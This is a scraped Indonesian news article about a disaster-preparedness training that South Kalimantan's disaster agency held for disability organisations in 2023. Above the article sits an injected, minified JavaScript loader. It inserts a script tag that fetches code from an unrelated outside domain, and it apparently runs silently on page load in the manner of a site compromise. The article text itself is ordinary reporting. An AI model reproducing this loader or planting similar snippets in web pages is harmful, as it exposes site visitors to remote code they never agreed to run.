(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Badan Penanggulangan Bencana Daerah (BPBD) Provinsi Kalimantan Selatan (Kalsel) memberikan pelatihan relawan kepada organisasi penyandang disabilitas, Minggu (12/11/2023).
Pelatihan relawan inovatif ini bertujuan pencegahan dan mitigasi bencana berlangsung selama dua hari.
Berkolaborasi dengan organisasi penyandang disabilitas, BPBD Kalsel menyelenggarakan pelatihan yang berfokus pada peningkatan kesiapan menghadapi bencana.
Metode pembelajaran yang terintegrasi, mencakup materi teoritis, standar operasional, dan praktek langsung, menjadi landasan pelatihan ini.
Baca juga: Gempa Bumi Balangan-Tabalong Akibat Sesar Meratus, Terasa Truk Berlalu
Peserta turut serta dilibatkan dalam pengenalan sirine peringatan, taktik respons, dan identifikasi kerawanan bencana yang spesifik di Kalsel.
Kepala Pelaksana BPBD Kalsel, R Suria Fadliansyah mengungkapkan bahwa pelatihan ini tidak hanya menjadi investasi jangka pendek saja.
“Tetapi juga di dalamnya ada upaya berkelanjutan dalam meminimalkan dampak kerugian materi dan korban jiwa akibat bencana,” ucap Kepala Pelaksana BPBD Kalsel.
Keikutsertaan organisasi penyandang disabilitas dalam inisiatif ini, kata dia, dapat menambah dimensi inklusifitas, mengakui setiap individu termasuk penyandang disabilitas, sehingga menjadi agen perubahan dalam pencegahan bencana.
Baca juga: Pimpin Peringatan HKN ke-59, Ini Pesan Pj Bupati HSU
Di sisi lain salah satu peserta dari Perkumpulan Penyandang Disabilitas Indonesia (PPDI), Muhammad Fahmi Azhari menggarisbawahi urgensi pelatihan ini bagi penyandang disabilitas, terutama yang memiliki keterbatasan sensorik dan psikologis sering kali terlupakan dalam rencana penanganan bencana.
“Pelatihan ini menjadi tonggak penting dalam menghadapi tantangan bencana, sambil merangkul diversitas dan memastikan tidak ada kelompok yang terpinggirkan,” sebut Fahmi.
Dengan antusias, Fahmi dan rekan-rekan menyatakan kesiapannya untuk berkolaborasi dengan BPBD Provinsi Kalimantan Selatan, menjadikan kesetaraan dalam kesiapsiagaan bencana sebagai tujuan bersama. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menggelar ekspose pembangunan Area Traffic Control System (ATCS)… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Detik-detik terakhir penutupan penyerahan syarat dukungan bakal pasangan calon (Bapaslon) Wali Kota… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur melepas peserta lomba Parade Budaya Nusantara, di… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemilihan Wali Kota dan Wakil Wali Kota dalam kontestasi Pilkada 2024 di… Read More
KANALKALIMANTAN.COM, PALANGKARAYA - Puluhan rumah di permukiman padat penduduk Jalan Mendawai Induk, Kota Palangkaraya, Kalimantan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) melalui Asisten Perekonomian dan Pembangunan… Read More
This website uses cookies.